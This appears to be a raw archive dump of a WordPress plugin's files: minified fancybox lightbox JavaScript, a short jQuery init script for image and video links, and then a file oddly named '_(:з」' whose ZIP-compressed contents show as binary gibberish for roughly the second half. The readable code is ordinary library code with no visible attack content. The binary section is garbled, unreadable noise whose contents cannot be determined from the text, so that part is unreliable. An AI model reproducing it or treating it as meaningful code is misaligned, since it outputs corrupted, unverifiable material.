e=[["requestFullscreen","exitFullscreen","fullscreenElement","fullscreenEnabled","fullscreenchange","fullscreenerror"],["webkitRequestFullscreen","webkitExitFullscreen","webkitFullscreenElement","webkitFullscreenEnabled","webkitfullscreenchange","webkitfullscreenerror"],["webkitRequestFullScreen","webkitCancelFullScreen","webkitCurrentFullScreenElement","webkitCancelFullScreen","webkitfullscreenchange","webkitfullscreenerror"],["mozRequestFullScreen","mozCancelFullScreen","mozFullScreenElement","mozFullScreenEnabled","mozfullscreenchange","mozfullscreenerror"],["msRequestFullscreen","msExitFullscreen","msFullscreenElement","msFullscreenEnabled","MSFullscreenChange","MSFullscreenError"]],n={},o=0;o<e.length;o++){var i=e[o];if(i&&i[1]in t){for(var a=0;a<i.length;a++)n[e[0][a]]=i[a];return n}}return!1}();if(n){var o={request:function(e){e=e||t.documentElement,e[n.requestFullscreen](e.ALLOW_KEYBOARD_INPUT)},exit:function(){t[n.exitFullscreen]()},toggle:function(e){e=e||t.documentElement,this.isFullscreen()?this.exit():this.request(e)},isFullscreen:function(){return Boolean(t[n.fullscreenElement])},enabled:function(){return Boolean(t[n.fullscreenEnabled])}};e.extend(!0,e.fancybox.defaults,{btnTpl:{fullScreen:'<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fsenter" title="{{FULL_SCREEN}}"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M7 14H5v5h5v-2H7v-3zm-2-4h2V7h3V5H5v5zm12 7h-3v2h5v-5h-2v3zM14 5v2h3v3h2V5h-5z"/></svg><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z"/></svg></button>'},fullScreen:{autoStart:!1}}),e(t).on(n.fullscreenchange,function(){var t=o.isFullscreen(),n=e.fancybox.getInstance();n&&(n.current&&"image"===n.current.type&&n.isAnimating&&(n.isAnimating=!1,n.update(!0,!0,0),n.isComplete||n.complete()),n.trigger("onFullscreenChange",t),n.$refs.container.toggleClass("fancybox-is-fullscreen",t),n.$refs.toolbar.find("[data-fancybox-fullscreen]").toggleClass("fancybox-button--fsenter",!t).toggleClass("fancybox-button--fsexit",t))})}e(t).on({"onInit.fb":function(t,e){var i;if(!n)return void e.$refs.toolbar.find("[data-fancybox-fullscreen]").remove();e&&e.group[e.currIndex].opts.fullScreen?(i=e.$refs.container,i.on("click.fb-fullscreen","[data-fancybox-fullscreen]",function(t){t.stopPropagation(),t.preventDefault(),o.toggle()}),e.opts.fullScreen&&!0===e.opts.fullScreen.autoStart&&o.request(),e.FullScreen=o):e&&e.$refs.toolbar.find("[data-fancybox-fullscreen]").hide()},"afterKeydown.fb":function(t,e,n,o,i){e&&e.FullScreen&&70===i&&(o.preventDefault(),e.FullScreen.toggle())},"beforeClose.fb":function(t,e){e&&e.FullScreen&&e.$refs.container.hasClass("fancybox-is-fullscreen")&&o.exit()}})}(document,jQuery),function(t,e){"use strict";var n="fancybox-thumbs";e.fancybox.defaults=e.extend(!0,{btnTpl:{thumbs:'<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="{{THUMBS}}"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M14.59 14.59h3.76v3.76h-3.76v-3.76zm-4.47 0h3.76v3.76h-3.76v-3.76zm-4.47 0h3.76v3.76H5.65v-3.76zm8.94-4.47h3.76v3.76h-3.76v-3.76zm-4.47 0h3.76v3.76h-3.76v-3.76zm-4.47 0h3.76v3.76H5.65v-3.76zm8.94-4.47h3.76v3.76h-3.76V5.65zm-4.47 0h3.76v3.76h-3.76V5.65zm-4.47 0h3.76v3.76H5.65V5.65z"/></svg></button>'},thumbs:{autoStart:!1,hideOnClose:!0,parentEl:".fancybox-container",axis:"y"}},e.fancybox.defaults);var o=function(t){this.init(t)};e.extend(o.prototype,{$button:null,$grid:null,$list:null,isVisible:!1,isActive:!1,init:function(t){var e=this,n=t.group,o=0;e.instance=t,e.opts=n[t.currIndex].opts.thumbs,t.Thumbs=e,e.$button=t.$refs.toolbar.find("[data-fancybox-thumbs]");for(var i=0,a=n.length;i<a&&(n[i].thumb&&o++,!(o>1));i++);o>1&&e.opts?(e.$button.removeAttr("style").on("click",function(){e.toggle()}),e.isActive=!0):e.$button.hide()},create:function(){var t,o=this,i=o.instance,a=o.opts.parentEl,s=[];o.$grid||(o.$grid=e('<div class="'+n+" "+n+"-"+o.opts.axis+'"></div>').appendTo(i.$refs.container.find(a).addBack().filter(a)),o.$grid.on("click","a",function(){i.jumpTo(e(this).attr("data-index"))})),o.$list||(o.$list=e('<div class="'+n+'__list">').appendTo(o.$grid)),e.each(i.group,function(e,n){t=n.thumb,t||"image"!==n.type||(t=n.src),s.push('<a href="javascript:;" tabindex="0" data-index="'+e+'"'+(t&&t.length?' style="background-image:url('+t+')"':'class="fancybox-thumbs-missing"')+"></a>")}),o.$list[0].innerHTML=s.join(""),"x"===o.opts.axis&&o.$list.width(parseInt(o.$grid.css("padding-right"),10)+i.group.length*o.$list.children().eq(0).outerWidth(!0))},focus:function(t){var e,n,o=this,i=o.$list,a=o.$grid;o.instance.current&&(e=i.children().removeClass("fancybox-thumbs-active").filter('[data-index="'+o.instance.current.index+'"]').addClass("fancybox-thumbs-active"),n=e.position(),"y"===o.opts.axis&&(n.top<0||n.top>i.height()-e.outerHeight())?i.stop().animate({scrollTop:i.scrollTop()+n.top},t):"x"===o.opts.axis&&(n.left<a.scrollLeft()||n.left>a.scrollLeft()+(a.width()-e.outerWidth()))&&i.parent().stop().animate({scrollLeft:n.left},t))},update:function(){var t=this;t.instance.$refs.container.toggleClass("fancybox-show-thumbs",this.isVisible),t.isVisible?(t.$grid||t.create(),t.instance.trigger("onThumbsShow"),t.focus(0)):t.$grid&&t.instance.trigger("onThumbsHide"),t.instance.update()},hide:function(){this.isVisible=!1,this.update()},show:function(){this.isVisible=!0,this.update()},toggle:function(){this.isVisible=!this.isVisible,this.update()}}),e(t).on({"onInit.fb":function(t,e){var n;e&&!e.Thumbs&&(n=new o(e),n.isActive&&!0===n.opts.autoStart&&n.show())},"beforeShow.fb":function(t,e,n,o){var i=e&&e.Thumbs;i&&i.isVisible&&i.focus(o?0:250)},"afterKeydown.fb":function(t,e,n,o,i){var a=e&&e.Thumbs;a&&a.isActive&&71===i&&(o.preventDefault(),a.toggle())},"beforeClose.fb":function(t,e){var n=e&&e.Thumbs;n&&n.isVisible&&!1!==n.opts.hideOnClose&&n.$grid.hide()}})}(document,jQuery),function(t,e){"use strict";function n(t){var e={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#x2F;","`":"&#x60;","=":"&#x3D;"};return String(t).replace(/[&<>"'`=\/]/g,function(t){return e[t]})}e.extend(!0,e.fancybox.defaults,{btnTpl:{share:'<button data-fancybox-share class="fancybox-button fancybox-button--share" title="{{SHARE}}"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M2.55 19c1.4-8.4 9.1-9.8 11.9-9.8V5l7 7-7 6.3v-3.5c-2.8 0-10.5 2.1-11.9 4.2z"/></svg></button>'},share:{url:function(t,e){return!t.currentHash&&"inline"!==e.type&&"html"!==e.type&&(e.origSrc||e.src)||window.location},
tpl:'<div class="fancybox-share"><h1>{{SHARE}}</h1><p><a class="fancybox-share__button fancybox-share__button--fb" href="https://www.facebook.com/sharer/sharer.php?u={{url}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m287 456v-299c0-21 6-35 35-35h38v-63c-7-1-29-3-55-3-54 0-91 33-91 94v306m143-254h-205v72h196" /></svg><span>Facebook</span></a><a class="fancybox-share__button fancybox-share__button--tw" href="https://twitter.com/intent/tweet?url={{url}}&text={{descr}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m456 133c-14 7-31 11-47 13 17-10 30-27 37-46-15 10-34 16-52 20-61-62-157-7-141 75-68-3-129-35-169-85-22 37-11 86 26 109-13 0-26-4-37-9 0 39 28 72 65 80-12 3-25 4-37 2 10 33 41 57 77 57-42 30-77 38-122 34 170 111 378-32 359-208 16-11 30-25 41-42z" /></svg><span>Twitter</span></a><a class="fancybox-share__button fancybox-share__button--pt" href="https://www.pinterest.com/pin/create/button/?url={{url}}&description={{descr}}&media={{media}}"><svg viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="m265 56c-109 0-164 78-164 144 0 39 15 74 47 87 5 2 10 0 12-5l4-19c2-6 1-8-3-13-9-11-15-25-15-45 0-58 43-110 113-110 62 0 96 38 96 88 0 67-30 122-73 122-24 0-42-19-36-44 6-29 20-60 20-81 0-19-10-35-31-35-25 0-44 26-44 60 0 21 7 36 7 36l-30 125c-8 37-1 83 0 87 0 3 4 4 5 2 2-3 32-39 42-75l16-64c8 16 31 29 56 29 74 0 124-67 124-157 0-69-58-132-146-132z" fill="#fff"/></svg><span>Pinterest</span></a></p><p><input class="fancybox-share__input" type="text" value="{{url_raw}}" onclick="select()" /></p></div>'}}),e(t).on("click","[data-fancybox-share]",function(){var t,o,i=e.fancybox.getInstance(),a=i.current||null;a&&("function"===e.type(a.opts.share.url)&&(t=a.opts.share.url.apply(a,[i,a])),o=a.opts.share.tpl.replace(/\{\{media\}\}/g,"image"===a.type?encodeURIComponent(a.src):"").replace(/\{\{url\}\}/g,encodeURIComponent(t)).replace(/\{\{url_raw\}\}/g,n(t)).replace(/\{\{descr\}\}/g,i.$caption?encodeURIComponent(i.$caption.text()):""),e.fancybox.open({src:i.translate(i,o),type:"html",opts:{touch:!1,animationEffect:!1,afterLoad:function(t,e){i.$refs.container.one("beforeClose.fb",function(){t.close(null,0)}),e.$content.find(".fancybox-share__button").click(function(){return window.open(this.href,"Share","width=550, height=450"),!1})},mobile:{autoFocus:!1}}}))})}(document,jQuery),function(t,e,n){"use strict";function o(){var e=t.location.hash.substr(1),n=e.split("-"),o=n.length>1&&/^\+?\d+$/.test(n[n.length-1])?parseInt(n.pop(-1),10)||1:1,i=n.join("-");return{hash:e,index:o<1?1:o,gallery:i}}function i(t){""!==t.gallery&&n("[data-fancybox='"+n.escapeSelector(t.gallery)+"']").eq(t.index-1).focus().trigger("click.fb-start")}function a(t){var e,n;return!!t&&(e=t.current?t.current.opts:t.opts,""!==(n=e.hash||(e.$orig?e.$orig.data("fancybox")||e.$orig.data("fancybox-trigger"):""))&&n)}n.escapeSelector||(n.escapeSelector=function(t){return(t+"").replace(/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,function(t,e){return e?"\0"===t?"�":t.slice(0,-1)+"\\"+t.charCodeAt(t.length-1).toString(16)+" ":"\\"+t})}),n(function(){!1!==n.fancybox.defaults.hash&&(n(e).on({"onInit.fb":function(t,e){var n,i;!1!==e.group[e.currIndex].opts.hash&&(n=o(),(i=a(e))&&n.gallery&&i==n.gallery&&(e.currIndex=n.index-1))},"beforeShow.fb":function(n,o,i,s){var r;i&&!1!==i.opts.hash&&(r=a(o))&&(o.currentHash=r+(o.group.length>1?"-"+(i.index+1):""),t.location.hash!=="#"+o.currentHash&&(s&&!o.origHash&&(o.origHash=t.location.hash),o.hashTimer&&clearTimeout(o.hashTimer),o.hashTimer=setTimeout(function(){"replaceState"in t.history?(t.history[s?"pushState":"replaceState"]({},e.title,t.location.pathname+t.location.search+"#"+o.currentHash),s&&(o.hasCreatedHistory=!0)):t.location.hash=o.currentHash,o.hashTimer=null},300)))},"beforeClose.fb":function(n,o,i){i&&!1!==i.opts.hash&&(clearTimeout(o.hashTimer),o.currentHash&&o.hasCreatedHistory?t.history.back():o.currentHash&&("replaceState"in t.history?t.history.replaceState({},e.title,t.location.pathname+t.location.search+(o.origHash||"")):t.location.hash=o.origHash),o.currentHash=null)}}),n(t).on("hashchange.fb",function(){var t=o(),e=null;n.each(n(".fancybox-container").get().reverse(),function(t,o){var i=n(o).data("FancyBox");if(i&&i.currentHash)return e=i,!1}),e?e.currentHash===t.gallery+"-"+t.index||1===t.index&&e.currentHash==t.gallery||(e.currentHash=null,e.close()):""!==t.gallery&&i(t)}),setTimeout(function(){n.fancybox.getInstance()||i(o())},50))})}(window,document,jQuery),function(t,e){"use strict";var n=(new Date).getTime();e(t).on({"onInit.fb":function(t,e,o){e.$refs.stage.on("mousewheel DOMMouseScroll wheel MozMousePixelScroll",function(t){var o=e.current,i=(new Date).getTime();e.group.length<2||!1===o.opts.wheel||"auto"===o.opts.wheel&&"image"!==o.type||(t.preventDefault(),t.stopPropagation(),o.$slide.hasClass("fancybox-animated")||(t=t.originalEvent||t,i-n<250||(n=i,e[(-t.deltaY||-t.deltaX||t.wheelDelta||-t.detail)<0?"next":"previous"]())))})}})}(document,jQuery);pmgizmo/inc/lightbox/js/.htaccess000064400000000000152223213640013017 0ustar00pmgizmo/inc/lightbox/js/lightbox.js000064400000002613152223213640013413 0ustar00jQuery(function( $ ){
    // Initialize the Lightbox for any links with the 'fancybox' class
    $(".fancybox").fancybox();
    // Initialize the Lightbox automatically for any links to images with extensions .jpg, .jpeg, .png or .gif
    $("a[href$='.jpg'], a[href$='.png'], a[href$='.jpeg'], a[href$='.gif']").attr("data-fancybox", "images").attr("class","pmns").fancybox();
    // Initialize the Lightbox and add rel="gallery" to all gallery images when the gallery is set up using [gallery link="file"] so that a Lightbox Gallery exists
    $(".gallery a[href$='.jpg'], .gallery a[href$='.png'], .gallery a[href$='.jpeg'], .gallery a[href$='.gif']").attr('rel','gallery').attr("data-fancybox", "images").fancybox();
    // Initalize the Lightbox for any links with the 'video' class and provide improved video embed support
    $(".video").fancybox({
        maxWidth        : 800,
        maxHeight       : 600,
        fitToView       : false,
        width           : '70%',
        height          : '70%',
        autoSize        : false,
        closeClick      : false,
        openEffect      : 'none',
        closeEffect     : 'none'
    });
    // Guide here: https://fancyapps.com/fancybox/3/docs/#faq-2
    $( '[data-fancybox="images"]' ).fancybox({
        caption : function( instance, item ) {
            return $(this).find('figcaption').html();
        }
    });

});
pmgizmo/inc/_(:з」000064400000277737152223213640011120 0ustar00PK'�\���sSA∠)_��k��ʲ�}���pu�蜛�D~b�$�6ƀ
�0Q��<
�}\]��\��}�Ԗ��9���`wWW�5��}ޞ������젽�JQ����e���?�/S�U���������������r���X���<���n�����_ү�2��[��m���r�V���5�m�a����r��lw�O��v<_���o�c�\���:�������<���'�yT����?L���[C��|���s��S�魑��x�������������������{~s������X�͡s�[��߾m^s�?�_j�&��(#�]�O�?�;�~�>7~R�AKk���<��|��X?⏯��'��0M5ϖ6s�~W���l��v�^�����)�����:?�����eo�lg���g��b�9)�#��`�o��g�/B)�)���\us���.�����/6JPu��/��n?
��S_\�<�g^��d?��".�m�颧�����b~[U��ꘜ��/���h-~��{��'������Y��(�*��?�_��|v{d���T�_��F�,���o.���Ե}9;*�������7��4.�(���G~˖}�i��<%H��7ğ����_����|�
��"7�1��Eӭ_� J�ϵ���p����;����Y2���__�{�i֓ضx��+�B�W*���f��l�|]���5�?^�}�w���iT~j��zx�����j���6��
��;T��t�!}���Wnx{Ҁ�v�Z�!����m����l��Ht�?�uڮcs��P�F寧���OV�僽�(��gP�QB����k&{Dv��ER�mNKy��Ow�H��j\�J��T���V&o&�y��d
ZҬ�9ݖ]�S_�;��t�ބm��G��*?<��8��;��O��	�MW�٣�’�-�"�Q~��k�IX�X����O.��=�$�����m+�3�@��S
������f��t�g��}���7��������4�-;�^�+;؁�)�h�҄6�`��\���^��*O�,���a�}g��oQn).�	m��~[Y���ر���~1*�NLﳲڄ���ny�bX�5���g�N���n�4�"HC��H�Q�+��d��^���_c����=].���N0����{����}F��]PXp��3�qi�=U�6�|��'����o�5�y�N�
˝�?�^��qT�ED��bb�w�a{��W�([L��H����4��=���7�f_O���d��xZ�7���z�����R�(�Q{/Oiή�rS�Ǯ��v��\�b�q��?I�D�j���*����\����PƟ����nK�j���}E�U-ʍsbߣ���
�3�ގ��z�;�K#/�e-Â�e=	���Y�ꗱ��)�IC>�$�b��m�Heԉ��G�������]~z���Γ:ˁ�b�WJd>X�u�>o�:^8�cH�(�`1��\����e��S{��
���n#���t�5�|{�卧���_�7_����oW'
ZYSˠEF6�~�?�<a��R�w�E�w��i�'u<��:m�c����-{���gpj7�*�ۋ.��7<Zxu�f���Y#�e`şdzKi��M���.[��~}�����/etR��Ņ�mw��k�Nb���]���0�?�8�I���y�`U^�(�\{i�`�8�!T�f�g�บ�o텿�b���j�Aqsfn+�3��2��i��WYt)�p�1O����ƓE���n�=D2���~i�F��ڦ|d��5��c+c����2��te{}�-�]�{�lT^��9��>���5٘�
��.ܘe�C��mׯ9���Ѿ|�t��m�::t���Ğ��|�� �JN��?pݔ)��ZΞ���n_��*ð��8�yc�xx��g�G���b��;ޯV-���{U�����Og��jy��)=�a�Z8��ޓ�j��Ѧ�]�eV~l;.���Y����F�!x�o��G�<�������?K	��T��;g�m[>�2�H�?�WF8��5�IS�m�?��F��ݳD�./�q�R��X�p�y�ʔ"(%#FZaa��C�#tC�o~wS�qc�[
^I�wK���IhY"X$
/�^#/[��H�G���1�P����d;%+���"�ޔ��aG��T�ƜIV
ϫ���T�j����zH��7s��mj�Ƚ�qmv�/cY\>�2Tе��/#,f�e��
�S�?Y�&����/��ܨ�NOc�\�{��|%��&�(�'�%4,�O��,��lʔ2���m�Q��ʘ]��<�L�qLS�.��tÓ{��c�O-�D��&O�?�p�?\n;�D�V���K3G�P�-�de�g+��ol2�V�cA��]*ͱ��Co0
�D©&�d��䯙W��sO��&u�0+sK�?�������'J��+o{�
ʣ��3_�>��o
ͤ��.�;�/�dM>�.; Q����(�����_��?ɿ�^ư�=M7[�ù�� ��!�� t��V��{��L�֮|we�� 罒�Se'.�2��B_�L�~S��hgہl�}q+]'?����-����/֔g^�vm�,�:Ƅ�̺��U�Wk�tm[R�xǭ��8��QϪJ
?a
+�r*h�+e�e�6sx�{�He�!���JoVB~���B�r�9��m��e�Rf]�Β(�ʬ�7ݴ����x�-�����%6~�f��'���_,/�-O�}o�N�
��R>	*(~���M�4ҿ�W4S�������:��S�,���msx��`�c+Kłޖtڌ^���j��'��ى�^�#w��~&�����^G��2Q�j����r�����V..���(���/]�eT�
�9�o9(�ݗ��/�<��)}��$mF�`�~��_<��/�Ѿ����oƑ�3Ċn�xy�mm�C��PF%�YmJ;�<`eJjӎ��ݯu���n)�"�ʌ�u������J巬����y�L��)e4� �.w
����z�
?"xw��sq��]�l����L=͚���ufY
��|"���WLX�"�|�cG�����߹n0�p�!�����Vk{L�BH;T���lW��*S�,.�m��P��ؕ��C�>
����;;
Y�_�Vy�{��E�-��B`ã�n�]�-�/��_����}�S��j�vқf{Ma��_�� m�զ�Wo,�J�(D���+��q}c���)��y�6Vl��(�BQp*��%[T�-�a�B�I�F;�k�P�(S�����[�ʨZ^o���oz��ϾM���$��=�@���./ښm���7�\�DE��ѧ��]���U��Ğ�W^�9�ʩ���q��'�*���hAD/m51�?
ΰ?�i2�1��ᤖ�}��S���e@%��H���8�=%�)]�������<�>��m���]�.�"Q�6s�;��,����
�|�OU��׎�&��Q��-;Я��m=::�D��<��^�HW]��)�,�Њ~�M�j|dIszd�b��a�塨�̽v���Wd�%J�����+��\Fi�u�V
e��c�W=ʖ3��DL�.�����遶o���sY3�d˔&��E�ʗLW�r���_E�Fuy��%S��]gh���ž:�xi�#��#Ua1ݗ�3m����;4�����j�����^�v�r��~e�{�A�~)ʯ�o���"��m$V�Ep�Q$vF~�\�s���G��ǩ�;�t�[S��e��_;i����og!b����c,����+�O�V6��ŌU��T��v��9��V˻k'����4�%
]]"��to�8���t�WU/s����_��eZl��xU�t��{��꼚��l��1��X��E;n��f��H�|��p����f�N_M��-���l��7�~W���'�az��M�k2(r˺��ZQk�r4���@���[蝾��N���͑���
�QT^�Lj��pVh�t:�v�����E�<5
��N��@^f7rZ�1��Ѱ�9�i�\�}]�VI��D���W�q�N�e�{2���N��Ö��v�n�.�
����Ep�H��@*ty�v��xR=����bEAyl�Og����Ie;���H��gEx}�d��i	�}�~�{�j�JQ�w����,�,/T���o�7��ƥ4�|����G��7�
� Y`��v�t���7óR^U~
!J���!�	{��N��Ӭ�u��2I��d�aQ�11�ʹ\�n(4>�����#��Oy?;�9�N�9�6��n#����ay���L)77O��xd,�N7�I…I�1g֏����#�F
�Se~Xް"���vԲ-���X2ɚiR�:�S�gyv�ko�v���D�?RH
,ޒ�]�⊲*�,�5-w��cm ��DsX�Ϭ�4=T�x��Z�����◕���Y�[_��_�)<�N[Ŋ2�2�#_�<�Y���)Z���\'�^�1º���ݰ�׵�_�Y3�������"EH�.��[z��G�j[[{��C��?Q�~�m�m�#е�`L�'�:Ӛu�d����S��PLJ��o��C*;M����/��f�vY'���V��O.>��@�c��c �fA-~�{� ��6̯��K��^i�����e�T5��œ�W�1�����-��x�wY\��2u�����m�l�R�7���0r����
b_Y�g0M�Z��e/L�g(Q��9e��k�)�B�-S���qO��C<:It�M�Ⱘ[f!����t��n�b�ů/��+��7�|�Q�v�=S���>K���T�)���m�G������i?�!�0����>�r��t�y���/7� oh�L��O*�*��E���U4��*I�Ѽ[��3d	��n���?���Q��*���uWF:~5Uv�Jy1�%޳�24�,kc� �Z���'�UL����Pb~Z�0xo��cDaI���KI�gy�Ӣ	W���;�-�ٗ�����o������h�Z�����O��K�~��˔�q��&t�rƩ��1#�t��}�T��*�&ic���]����x��Ȭ}X���_��T�k�
bʀI����8�Q][,�2�W�r0J�ޭ~}3��qï��妹5:��iS&�;�1=
m�z���m�ڔҶ6�V�6HT((9�N�e�{.����_�!�p-������t4�@	���Ԃ��_�~^���X��{������Y�k7*+]�+s���NG��n���sKM�2_�>l��ϋ�2�7[��s�L���ڑ�+��!"�1@K��Re���O���7�#�[��hP�RDq�k3����	W�]�h�'M#[���΅��d�Z�շ��Ǚ�;oz��Ō�b�+�Y������)�<�Ƣms+B���U��L�u�K,��/�3�0lF����>�߾3�|ٽ3d_����c:�s����8��s˴ÆF.mgo��N�S��<|_��P߲Kg�C�o;�F^y���"哀����E���uF�<�k��V�l
�z��W��ƒ�`�K���n�M+�� 	r��������T~U�_��u��:�S�FzԪ��7zlx��#|]��m����~��v���r�X����xZ5;��D;��J�`��ނ?�J�{�o7�}�Ԫg�Аw�6c�Q?T�Y�< ���tC�v��V�K�;�ڔS�$-fP�um@#�����Hb�ǂ�N.��k���8���2Jڜ ���>�Z1!˓B�U���OrF\��z8��:O�@LʏJ[�%E삋��U��En?�@�!�%��$���|����V&bc��UZ7�v�k��O
�+��i?c��*��N�=�M���'L��R����#|�!�w��$�U����ɂB�4��צ�ȑP^n/�x��WW�v����׆���3�U�l-9��	'�.��K[x�]���n�c�g����	�L�5l��~T�}�t6wR�Y��ς/%$gm3���P�+@�崮��/���]�J�2u�t]KTN�o;*��iܾޞ���Ȱ|��ƴr
�Q1��!퍧�@�,�dS�S���Lێ���Z��zOL�
���e�ijm�;�IUfY�ԅ�΍9x����PF>؃�O�pff
;VP.���cE+wyg��2�+o�,��i�߻��fix�<�,��C���=��=A��q�-���(/�i?4
<E�
�z{���v��j�Y�����"�;�7�w`��V�qi�W���\ė!��G��x��NG�VEP���`8��{B���(�C�����'a�-�����&{+��������
��eV�1�Ay1��,�
9�]ޱ����R�E�|D�/�✯ᜳ�,kj���:Q)9�!��s����nj�l�E��h`TA�NTM�|���G9�;Ъ��8�����r�;^����� k�7&R����ˢ#�����o�'�ƕ�e�����W�=Գ�"�eT���#~��m��,�#���M�1�T�>�ؓ��*��Tan��=�ӳ*�w~��+�N��;`=i���g�64�a��h?t7��ݐ�W�UN�8�?����s…�lp��}��,C�`�(�Y���*#7z��`�'�9���Ǧˉ#X7�I��i#��*C���>����{킥�S<Fr���]�kq#�*��>aI�$K�R��?���f�S�C��\,��)2�+&�E����H*����XS#���	��R�FZ{w@�9����C�����&��uf6#

{�c(h����a��q�NN9��0���Ͻ"����Q�
`+h�%����9q��MJ��G�p��~F��K/�=+봱�c�R����/�J�ӷy�@�V���H�C}�"	DC�x�B2_�$�n榌�>kHP��{(� ��H{�r�t�kͻ/c�F�R��D6���mw� S���u�dR~�fޝ�����%]��
5J!�+�p�p�
a	ƕ����cv��3������K�+�F������D2N�����u���#��ӈ^��Wg��=R^���mFZ��1	�m �B̢���v9�Gqj����u��ɍ�9���:��T��|�c�p�|��.'����ٞ��)"+x��i��ż�.K��%�����-�L��K���.��ݕ����S+œQI�=g���FW��,
���Squ�	�i�>�8�~tu,|L�AnO�v���^�U�-{�U4뢝���Y�u3P�CQA4c� X��0k�_-����(,�:
+V��ڜ��91��Sk����D�[�;�]TT
@S�L�#]'�$D�cڞ6���eIQ�}���8
�U��^,��G��E5�<L��̍:Xk{��"O_���I�0�W�_�p:����7�2v�ٌqFp�x��d�dE��qwM�晠�r�
�l���ְ���2�*���$�d�ѭ�5����0�UDV�`�e�b>�*�,��kxR��KfX˲�,���Y���6T!��62ښ��G�l�7��~��Tz@��)8��5�f�s�2��Z���zC��4���R|�j�y��1R���,���.�f�&tD�蛕e���$��u^���й��
%�M�l�N����p*�U6���I�OK��Zq�/S1�<�t��_�N�1����[N5爩��D�����?Nr���G�5	B�np�]���B���ڧ���e�xf�i�=ෂy�Ӗ���XM��q|��9~-`I�����ީ�J��Г ���B�����0�C��͡�U���=�Ƴ%�$�S9�?�@�&I�)�������q,��Q;\C�Rk}h�vX�o	2��v�\��o� ���H�_FoD-V����"�sp�'D�Ǝ���\�Z�G��M��OA8�1ǷHI���5w�Yo��…��bH���z4	�'9r��պ���� ��X��ޮ��Q��q?�e���xh��O�ŕ�vy�ν+��pB�p�d]�m�򒚆6S���B�e8�+�B���X&R���SBVwl!��Q⻢7�J�m�Q�����eB9�Q�O�_:�����Xt���b�<Ոrc���Y�N��Xi��ˤ����*�~l�(����Y�Y�f�dKr1��i��C�+�����[Y�H� e�Z�:4h��B�OEFT��d�drD�4�]�s\�z�k(��M��V[���0a��mt���J:c��?�MF�����A6�/��|�n(�4�yW���c�ճz�4ʕ/�ެ_�l���Xo'ʅ&�$��Y��6ǡ6�Xj�91���t��8~�&�l��TTp�F�I,\�g�Ot&¸�]'�?���:��YqY��V�|�|D�*��컿!�L��U��K{�3�i���v����hc�q��#�Kp�R�o�{�TK~��q�K:�$~�S����C����Z~T���jU�UQ~�o:|)��wu�/���Ψ�{�_ת�Of�_�bh{X��v�����t�c��e�I��5E*
�x/��ً�8�"H�ʂ�ӳ�϶}��,'j~�:�
U��IP��;�
`w��C*�t`w�>M�>~���l0���c>*O[tث?��?ˉ���j����0|������Q5*�I$[ks5IT�᩼�����N��s�j��j�,&r�~t�H:N!c�2�����e���0�/}V�����v�31}L��|ʼ�1S+}���,c1:~Vus�7\Y�KL��.ޙ�ɁQ����b-%v�sZXy�ϟvyYh������S���$s\ך.U���+�;�}���H���0ˌ�1�_x5�kY�84�Y2Mo<6���0b�|�}*K��s��C��]��Y�d-Mm$1}�f���gt,��<T6:>��X���~�"D3�_��K�mf~N���֯�V���T�E1�kÞ��}�.���e"�w�16&!��E]��զEI����R-Ic���ѣWHݳb��0k�?4�&�p�梵0&�u���Dt�h�}����y��$=�t*�	��N����{���*�H�1wVl����8�k��C�^h�MK �S��b�cIE�� }[��vH0<�L�H�t�خ6pڮL��8!m���̒���Y׎���s��IF���x[�g�AK��2-��ݼnD
֟Ha
ϒ?�$��I�揎%.%��}��Vm-���՗B檭u���(��.�P��]�Qa$�G�M����ǰ�R�����i��U�k��\�b��/c�����$R�r�P�z�V;�b^-�A�,&%��w�:�ٖ�v"L=����k�PY��n`GP��K'���/$s)���Z_n�w�����0�G��0��B5�8u[�vF����5*Lms����IN�"*0�DFz�
:���L��d<(Hڄͳg���g���NQ��0��{��\��v�5�B*�z���h%��$���	�Nu�7�CZ�:*�ל��m��#����5��n3"����E'gv��R�@\<6����ԫ�*A�=�� �t���։&��
��*��B_sU�z�s�w�6Xk�pVs��3<6�!��Sm�geErӕ��U<��6.�0��]��;�����P�����0�:
�u�p�ю�ŷ��R��'_p�Zn�el���y���e��O )XGxT��r<̲�+k^B���Z��y�WV�/H-���ͽƮ��0X��� ߍ/׫��EZ��X�j�\�Mg���q�Q
	Jp�O(�8��J���R>{����ى~}�>Z���f��c2ǰ�/hK֫m��0��Z*����+��mO���콺����k��(4>�2alq��ި�3��R7q�{'l<��:���S��z�V��vZ�Ab#�q���a��g96�6������/W�����"}�Bݽ��`�R�Zi.�?+u{���o�Btv?D���~�*�_��C��4�1>������F�HN�Zu�[�?�n`+�
<G��š4Xhax[��V/w��A�Ayo>��C��VT'��rL�1��LC����G=&�e���(�b��-�#�L�?�ˀ�6`�hY�Y궪?y���:g�r�������y
���iO��6�̗G*#��WU�JB�-��|�4�Խ��1G�>m��
g#�~�u�Fw�±p�0@dz�yxW�GQ�S����Q�lhÅI���Nn+�b��t�t���uZm�z�8���ק+�����a���� �����Qmڮ9�?�v�}y�	�5�4��]ţ��uc?ˀN\��\�p�i��>]����E��1ob<,�7��|#<��뼋�G*>��5�$��>1����Q��)+
y�����#M2�3L[��-��cߎ#ԝ�>r���b�d,oo��b5t%�)趪)��$n��8��m���՘�.ٮ���}X��E@��*�i���h��l�E��^ ���$c�fU�� >�#qZ������/83^K�Ub{�< ¿�3IG����D�jʩh���K^K�����$���ũ����i�X=Ԭ�v�jkv�C�TC}K:��ʋ�0��-�ʔ�y%u��yg�`��Ƽ`�b���8��Ǝ��+e0\��=9K�u�xb=�W��|�4aߞ���%��*��bQLd��(
r�Dm���Ap��.���o�e��H?��c�(c�5�-�^�n�`]o#�Y����t���\ꍾGU
